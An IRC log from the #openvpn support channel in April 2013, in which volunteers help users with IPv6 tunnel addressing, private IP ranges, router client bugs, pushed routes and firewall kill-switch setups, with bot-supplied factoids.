05:52 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
06:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:13 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
06:15 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
06:22 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
06:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:31 -!- master_of_master [~master_of@p4FF244D8.dip.t-dialin.net] has joined #openvpn
07:34 -!- master_o1_master [~master_of@p4FF247F8.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
07:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
08:01 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
08:01 -!- newbie|2 [~tjz@bb119-74-164-84.singnet.com.sg] has joined #openvpn
08:52 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
09:05 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
09:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:39 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:44 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
09:57 -!- el2ro [~quassel@95.154.196.68] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
09:57 -!- el2ro [~quassel@95.154.196.68] has joined #openvpn
09:57 -!- el2ro [~quassel@95.154.196.68] has quit [Client Quit]
09:58 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has quit [Ping timeout: 252 seconds]
09:59 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
10:09 -!- el2ro [~quassel@198.199.125.248] has joined #openvpn
10:11 -!- el2ro [~quassel@198.199.125.248] has quit [Client Quit]
10:11 -!- el2ro [~quassel@198.199.125.248] has joined #openvpn
10:16 -!- el2ro [~quassel@198.199.125.248] has quit [Client Quit]
10:16 -!- el2ro [~quassel@198.199.125.248] has joined #openvpn
10:25 -!- el2ro [~quassel@198.199.125.248] has quit [Ping timeout: 258 seconds]
10:37 -!- brute11k1 [~brute@89.249.230.92] has joined #openvpn
10:37 -!- brute11k [~brute@89.249.230.92] has quit [Ping timeout: 245 seconds]
10:41 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
10:41 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has joined #openvpn
10:43 -!- el2ro [~quassel@95.154.196.68] has joined #openvpn
10:44 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
10:48 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
10:56 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
11:00 -!- brute11k [~brute@89.249.230.92] has joined #openvpn
11:03 -!- brute11k1 [~brute@89.249.230.92] has quit [Ping timeout: 252 seconds]
11:09 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
11:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:16 -!- mode/#openvpn [+v s7r] by ChanServ
11:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:35 -!- LeRoY [LeRoY@cpc4-nott16-2-0-cust49.12-2.cable.virginmedia.com] has joined #openvpn
11:43 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
11:50 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
12:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:04 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
12:09 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
12:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:12 -!- brute11k [~brute@89.249.230.92] has quit [Ping timeout: 252 seconds]
12:14 -!- brute11k [~brute@89.249.230.92] has joined #openvpn
12:15 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:20 < Nothing4You> jzaw: you there?
12:24 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 264 seconds]
12:24 < jzaw> Nothing4You, hey
12:24 < jzaw> remind me what it was we were doing?
12:25 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
12:25 < Nothing4You> jzaw: configs :)
12:26 < jzaw> re what
12:26 < jzaw> i can dig them out now
12:26 < jzaw> though i have to say ... my radvd is playing
12:26 < jzaw> up
12:27 < jzaw> routes that should renew cos they have an expire of 1800 secs
12:27 < jzaw> dont seem to
12:27 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:28 < jzaw> ah ovpn confs
12:28 < jzaw> Nothing4You,
12:28 < jzaw> re ipv6
12:28 < jzaw> what is your network config ... or rather ill tell you mine
12:28 < jzaw> ipv4
12:28 < Nothing4You> yeah ovpn configs
12:28 < Nothing4You> with ipv6
12:28 < jzaw> no nat at home (ie all routed /26 on thelan)
12:28 < jzaw> nat here this end
12:29 < jzaw> ip6 of course is no nat
12:29 < jzaw> and ive got a /48 at home
12:29 < jzaw> which i give a /64 to the tunnel
12:29 < jzaw> and then another /64 to this client end lan
12:29 < Nothing4You> is it possible to use a smaller net than /64 for the tunnel?
12:30 < jzaw> sure
12:30 < jzaw> but why bother if you have a /48
12:30 < Nothing4You> good, i just have one /64 on my server
12:31 < jzaw> do you only have the /64
12:31 < Nothing4You> yeah
12:32 < jzaw> k
12:32 < jzaw> youll have to figure out your subnets
12:32 < jzaw> let me pastebin my conf
12:32 < pekster> Down to a /112 is fine for openvpn
12:33 < jzaw> though he'll have to use dhcp6s for ip deleg.... i use radvd
12:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:33 < Nothing4You> wouldn't radvd work or why?
12:35 < pekster> THe entire point of --ifconfig-ipv6-pool is that it handles IP assingment. LANs at either end should use their own /64 routed across the link
12:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
12:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:53 < jzaw> pekster, exactly the ifcnfig-ipv6-pool assigns ips to the tunnel    but need to dhcp6s (openwrt in my case) or radvd for the client end lan
12:53 < jzaw> Nothing4You, hope this helps
12:53 < jzaw> http://pastebin.com/CwEKZaGx
12:53 < jzaw> ive annotated it per my understanding
12:54 < Nothing4You> thanks
12:54 < jzaw> pekster, forgive ^^^ if some terms or notions are erroneous
12:54 < Nothing4You> now i can just hope pastebin.com works for me
12:55 < Nothing4You> and it doesn't :(
12:55 < jzaw> Nothing4You, remember the ifconfig-ipv6-pool gives out ips to each subsequent vpn client ... ie something running openvpn
12:55 < Nothing4You> could you use another pastebin  site?
12:55 < jzaw> but if you have a lan behind that router then you have to handle ips on that lan as a separate subnet
12:55 < jzaw> suggest one Nothing4You
12:55 < Nothing4You> http://nopaste.info
12:55 < jzaw> one that works for you
12:55 < jzaw> how come pastebin doesnt work for you ?
12:56 < Nothing4You> dunno
12:56 < Nothing4You> usually it does
12:56 < Nothing4You> earlier today it wasn't loading already
12:57 < jzaw> when does it expire on nopaste?
12:57 < Nothing4You> no idea, never i guess
12:59 < jzaw> http://nopaste.info/c22309ec27.html
12:59 < Nothing4You> thanks
12:59 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
13:00 < Nothing4You> btw quoting phrik, the #archlinux bot about pastebin.com: "Ads, Spamfilters, Captcha, Adds whitespace, Slow, Ugly, No comment/fork/annotate, Breaks copy/paste, Blocked for some people, etc." "Don't use it. Use some sane pastebin like hpaste.org codepad.org pastie.org gist.github.com dpaste.de sprunge.us ideone.com ix.io"
13:00 < jzaw> note my server lan is on 2001:8b0:7::/64     the tunnel itself takes 2001:8b0:7:feed::/64 and the remote lan takes 2001:8b0:7:90a7::/64
13:00 < Nothing4You> ok
13:01 < jzaw> of course since my openvpn server is not the gw for that lan ...  i have static routes set up
13:01 < Nothing4You> yeah
13:02 < jzaw> and youll have to add ip[6]tables -I FORWARD rules for tap0 and <interface> at the client end router
13:03 < Nothing4You> ok
13:03 < jzaw> any q's ..... ping e
13:03 < jzaw> me
13:03 < Nothing4You> i gotta go now, i'll try getting that running tomorrow
13:03 < Nothing4You> yeah, thanks
13:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:11 -!- Poster|w [poster@gateway/shell/bshellz.net/x-kbmtosvidzdqumpg] has quit [Quit: brb]
13:11 -!- Poster|w [poster@gateway/shell/bshellz.net/x-lilwygnrapqhuoyg] has joined #openvpn
13:18 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
13:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:30 -!- u0m3 [~Radu@109.96.190.216] has joined #openvpn
13:36 < LeRoY> hi just after some advice, just installed openvpn-2.1.3, just between to pc's. they are connected and the server 176.66.77.1 side passes an IP to the client 176.66.77.6. the status shows that it passes the route to the client but i'm not able to ping through the tunnel, i have dropped both firewalls but still same (new to VPN's) thanks
13:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:39 < pekster> LeRoY: Any reason you're using such an old version? 2.3.1 is current, and the 2.1 series is years old at this point. You're using public IP space? The VPN range can't overlap the physical address the server has that you're connecting externally. That is, you need a unique network range (although it can be public if you'd like.)
13:39 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Read error: Connection reset by peer]
13:39 < pekster> Although if you're using public IPv4 space, you really shouldn't use the net30 topology as it's quite wasteful of limited v4 addresses
13:40 < LeRoY> i have a 192 range and a 10. range already for other networks that why i tried it on 176 range
13:40 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
13:41 < LeRoY> i have tried it on a 10.80 range but still same
13:41 < pekster> You're using *all* of 10/8? I somehow doubt that
13:41 < LeRoY> nope
13:41 < LeRoY> sorry i mean i troed it on a 10.8
13:41 < LeRoY> tried*
13:42 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Read error: Connection reset by peer]
13:42 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
13:43 < pekster> 176.66.77.1 is a public IP, not private. Unless you are Mobilkom Austria, that address space is not yours
13:43 < LeRoY> it seems which ever range i have tried it on i still get the same issue , connects fine but unable to ping
13:43 < pekster> Pastebin your configs and logs:
13:43 < pekster> !configs
13:43 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:43 < pekster> !logs
13:43 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:44 < LeRoY> ok
13:44 < pekster> And ues proper RFC1918 space unless you have a public IP block registered to you
13:44 < pekster> !1918
13:44 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
13:45 < LeRoY> wow looks like i have a lot to learn
13:45 < LeRoY> lol
13:45 < pekster> There's also the official howto:
13:45 < pekster> !howto
13:45 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:46 < LeRoY> yeah i have had a look through it but i guess you guys would be the best to find out my faults or quicker
13:53 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
13:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:54 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
14:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
14:08 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
14:11 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
14:17 -!- u0m3_ [~Radu@92.80.85.78] has joined #openvpn
14:20 -!- u0m3 [~Radu@109.96.190.216] has quit [Ping timeout: 246 seconds]
14:23 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
14:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:34 -!- el2ro [~quassel@95.154.196.68] has quit [Remote host closed the connection]
14:39 -!- Dave2 [~Dave2@freenode/staff/dave2] has quit [Changing host]
14:39 -!- Dave2 [~Dave2@happy/birthday/dave2] has joined #openvpn
14:43 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
14:45 -!- tgunr [~davec@rrcs-108-178-176-154.west.biz.rr.com] has joined #openvpn
14:52 -!- Dennis84_ [~dennis@mail.it-moebius.de] has quit [Ping timeout: 245 seconds]
14:52 -!- Dennis84 [~dennis@mail.it-moebius.de] has joined #openvpn
15:14 -!- emmanuelux [~emmanuelu@nl.freedom-ip.com] has joined #openvpn
15:16 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:16 -!- emmanuelux [~emmanuelu@nl.freedom-ip.com] has quit [Max SendQ exceeded]
15:25 -!- tgunr [~davec@rrcs-108-178-176-154.west.biz.rr.com] has quit [Read error: Connection reset by peer]
15:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
15:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:45 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Read error: Connection reset by peer]
16:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:06 -!- LeRoY [LeRoY@cpc4-nott16-2-0-cust49.12-2.cable.virginmedia.com] has quit []
16:09 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
16:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
16:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:19 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
16:45 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
16:58 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 252 seconds]
17:02 -!- mback2k [sbnc@www.uxnr.de] has joined #openvpn
17:04 < mback2k> !welcome
17:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:04 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:08 < mback2k> Hello everyone, I am having trouble setting up the OpenVPN client on my tomato-based router (fw version "1.28.0000 MIPSR2-108 K26 USB VPN"). I have an OpenVPN server with native IPv6 connectivity and would like to make the router and network behind it use the IPv6 network. The OpenVPN infrastructure is working fine, especially since I am running an IPv4 version of it since approx. 3 years.
17:08 < mback2k> In order to make IPv6 work, I updated the server and mobile clients to 2.3.1, while the router was upgraded to a tomato build with OpenVPN 2.3.0
17:09 < mback2k> I basically have two scenarios: Mobile Client with Windows OpenVPN software --> OpenVPN Server ==> works fine with IPv4 and IPv6 payload over IPv4
17:11 < mback2k> second scenario: Router/Gateway with tomato-based OpenVPN software --> OpenVPN Servers ==> works fine with IPv4 payload, but breaks once IPv6 is enabled. Once any IPv6 option is enabled on the server, e.g. server-ipv6, the server starts to print out "IP Packet with unknown IP version=0" and it is not possible to transmit anything over the OpenVPN tunnel.
17:14 < mback2k> If you don't mind, I am going to start pasting links to pastebin.com with the current configuration:
17:14 < mback2k> 1. Working server configuration for mobile clients: http://pastebin.com/VdJriady
17:15 < mback2k> 2. Working sever configuration for routers/gateways: http://pastebin.com/6HFNecZ8
17:15 < mback2k> 2. <-- breaks once the server-ipv6 line is uncommented.
17:17 < mback2k> 3. Current configuration of one router/gateway: http://pastebin.com/UEBcLeQE
17:17 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has joined #openvpn
17:18 < mback2k> 4. Example client configuration: http://pastebin.com/Fh8uL41b
17:19 < mback2k> I would appreciate any help on this issue. I was unable to solve it during the last hours and I am pretty much left in the dark.
17:25 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:25 < jzaw> mback2k, no idea if itll help
17:25 < jzaw> but this is my conf
17:25 < jzaw> http://pastebin.com/CwEKZaGx
17:26 < jzaw> note the ipv6 stuff is all manually setup rather than using server-ipv6
17:26 < jzaw> nothing special on the client end
17:27 < mback2k> okay, I will give the manual setup a try, thanks
17:27 < jzaw> note i have a /48 at the server end
17:27 < jzaw> so i give the tunnel its own /64
17:27 < jzaw> and the client lan gets a /64
17:28 < mback2k> I have a /64 and give the tunnel a /96 -- the thing is: this works with clients running OpenVPN 2.3.1 on Windows
17:28 < jzaw> i use openwrt at the client en
17:28 < jzaw> d
17:28 < jzaw> compiled from svn trunk
17:28 < mback2k> but the router running 2.3.0 fails and makes the server print those "IP Packet with unknown IP version=0" lines
17:28 < jzaw> worked with openvpn 2.3.0
17:29 < jzaw> but i hacked the Makefile to use the 2.3.1 commnity tgz
17:29 < mback2k> okay, I could try to give the tunnel a fake /64 and see if it works
17:29 < jzaw> yeah the tunnel can have link-local ips
17:29 < jzaw> its just a case of routing
17:30 < jzaw> if you have a look at your computer ... youll prob see the default gw is a link-local
17:33 < mback2k> yes, I just haven't figured out all those special IPv6 addresses, not used to it yet
17:35 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
17:39 < mback2k> Ok, I assigned fec0::/64 to the tunnel, but still no luck. The VPN connection is established, but no packets are transferred and the loglines show up again
17:39 < jzaw> you can ping6 the near end tun/tap? can you ping6 the far end?
17:41 -!- szicari [~Adium@224.sub-174-240-64.myvzw.com] has joined #openvpn
17:41 < mback2k> I can't even do ping with IPv4 any more
17:42 < szicari> Good day, humans. I'm trying to reach computers connected through an OpenVPN connection…wondering what I should be able to do. I've got openVPN set up such that all broadcast messages are relayed through the VPN - whatever the term is I can't remember.
17:42 < szicari> Shouldn't I be able to reach the VPN'd computers just the same as local computers?
17:42 < szicari> Any help is appreciated.
17:42 < mback2k> jzaw: No, I can't ping any of the IPv6 addresses.
17:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:44 < szicari> I have openVPN configured with a tunnel.
17:44 < szicari> If that sounds right.
17:44 < szicari> I know I had to bridge my ethernet port with a tunnel device during the setup.
17:48 < szicari> Ok, so clarification: I bridged my Ethernet device with a tap0 virtual interface.
17:48 < szicari> So a better question - how would I disable the firewall just for the tap0 interface?
17:49 < mback2k> jzaw: I just checked: Once tun-ipv6 and push "tun-ipv6" (without the ipv6 options) are enabled on the server, the tunnel is broken
18:01 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:05 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 258 seconds]
18:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:14 -!- mback2k is now known as mback2k_
18:14 -!- mback2k_ is now known as mback2k
18:17 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
18:18 -!- mback2k is now known as mback2k_
18:18 -!- mback2k_ is now known as mback2k
18:18 -!- Doug666 [~Nice@185.3.135.18] has joined #openvpn
18:18 < Doug666> Hi guise.. any advice to prevent leakings (dns, ip) on openvpn ... with UFW on ubuntu_
18:19 < Doug666> ?
18:22 -!- mback2k is now known as mback2k_
18:27 -!- Doug666 [~Nice@185.3.135.18] has quit [Ping timeout: 256 seconds]
18:29 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:38 -!- newbie|2 [~tjz@bb119-74-164-84.singnet.com.sg] has quit [Quit: quit irc]
18:38 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:50 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 264 seconds]
--- Log closed Sun Apr 14 18:50:47 2013
--- Log opened Sun Apr 14 18:51:02 2013
18:51 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
18:51 -!- Irssi: #openvpn: Total of 188 nicks [7 ops, 0 halfops, 2 voices, 179 normal]
18:51 -!- mode/#openvpn [+o ecrist] by ChanServ
18:51 -!- Irssi: Join to #openvpn was synced in 41 secs
18:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
19:12 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:23 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Remote host closed the connection]
19:35 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
19:41 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has quit [Ping timeout: 256 seconds]
19:50 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
19:51 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:56 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 252 seconds]
20:02 < Eugene> !fail2ban
20:02 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
20:04 -!- inimino [~inimino@oftn/board/inimino] has quit [Ping timeout: 245 seconds]
20:18 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
20:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:37 -!- Poison [~Poison@180.190.15.163] has joined #openvpn
20:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
22:07 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
22:09 -!- cherwin [~cherwin@robin.teqnix.nl] has quit [Ping timeout: 256 seconds]
22:10 -!- cherwin [~cherwin@robin.teqnix.nl] has joined #openvpn
22:18 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
22:19 -!- troyt [~troyt@c-24-10-222-127.hsd1.ut.comcast.net] has joined #openvpn
22:25 -!- troyt [~troyt@c-24-10-222-127.hsd1.ut.comcast.net] has quit [Quit: AAAGH!  IT BURNS!]
22:27 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:27 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
22:32 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
22:35 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
22:36 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
22:37 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:04 -!- Nathan [~Tri@81.17.27.254] has joined #openvpn
23:04 -!- Nathan is now known as Guest59304
23:05 -!- Guest59304 [~Tri@81.17.27.254] has quit [Client Quit]
23:05 < DrCode> hi all
23:05 < DrCode> I want to use push route
23:05 < DrCode> I think that I am using it wrong
23:06 -!- NateJones [~Tri@81.17.27.254] has joined #openvpn
23:06 < DrCode> I have openvpn client and openvpn server , in my client I have other segment
23:06 < DrCode> today I use up command in openvpn server to add static route of sefment in client
23:06 < DrCode> segment
23:06 < NateJones> hi everyone... do you know how to setup UFW to stop all traffic if the vpn drops?
23:06 < DrCode> where do I need to use push route in client or server?
23:07 <+hazardous> default deny in+out and then ufw allow [vpn ip endpoint]?
23:07 < DrCode> no , sorry, I am also new
23:07 <+hazardous> nb: probably want out of band access when experimenting with this
23:07 < NateJones> DrCode, just that?
23:07 < NateJones> but if the vpn uses a domain name server with a dynamic ip?
23:08 < NateJones> it is not going to resolve it
23:08 < NateJones> sorry it was hazardous
23:09 < NateJones> I want to allow just traffic from tun0 and make wlan0 be able to resolve the ip of the domain.
23:14 -!- NateJones [~Tri@81.17.27.254] has quit [Ping timeout: 258 seconds]
23:15 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
23:20 -!- Eugene is now known as EugeneKay
23:31 -!- NateJones [~Tri@190.62.65.2] has joined #openvpn
23:36 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
23:39 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
23:48 -!- NateJones [~Tri@190.62.65.2] has quit [Quit: Leaving]
23:53 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Quit: Leaving]
23:53 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
--- Day changed Mon Apr 15 2013
00:05 -!- laner [~Lane@pool-98-111-237-34.pitbpa.fios.verizon.net] has joined #openvpn
00:07 -!- NateJones [~Tri@185.3.135.34] has joined #openvpn
00:07 < NateJones> Hi everyone.. I would like to stop internet traffic if I get disconnected from the VPN... I'm getting an error explained on the pastebin: http://paste.ubuntu.com/5709554/  what can I do to solve it?
00:07 < NateJones> I'm using ubuntu 12.04
00:12 < pekster> The error is becuase the OS is preventing the packet from being sent. I suggest learning how to use your firewall. I don't deal with crappy frontends to network configuration; try an ubuntu-centric forum if you want to use netfilter without understanding it, but I don't really condone that
00:13 < EugeneKay> !iptables
00:13 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just
00:13 <@vpnHelper> the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
00:13 < EugeneKay> See #4 ^
00:14 < pekster> !forget iptables 4
00:14 <@vpnHelper> Joo got it.
00:14 < NateJones> yeah I mean if I flush the iptables, it works properly
00:14 < pekster> !learn iptables as These are just the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
00:14 <@vpnHelper> Joo got it.
00:15 < NateJones> but I would like to have it working just allowing traffic from tun0
00:15 < NateJones> but yeah :) got it
00:15 < NateJones> thx guys
00:17 -!- NateJones [~Tri@185.3.135.34] has left #openvpn ["Leaving"]
00:19 < pekster> Meh, I had a reply about using --up nearly typed. Gotta love people who vanish when they don't get the answer spoon fed
00:19 < EugeneKay> I do love them
00:19 < EugeneKay> Less work.
00:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:53 -!- Poison [~Poison@180.190.15.163] has quit [Quit: Leaving]
01:20 -!- brute11k [~brute@89.249.230.92] has quit [Ping timeout: 252 seconds]
01:34 < jzaw> pekster, # gimmie gimmie an answer after midnight </abba rendition>
01:35 < jzaw> !iptables
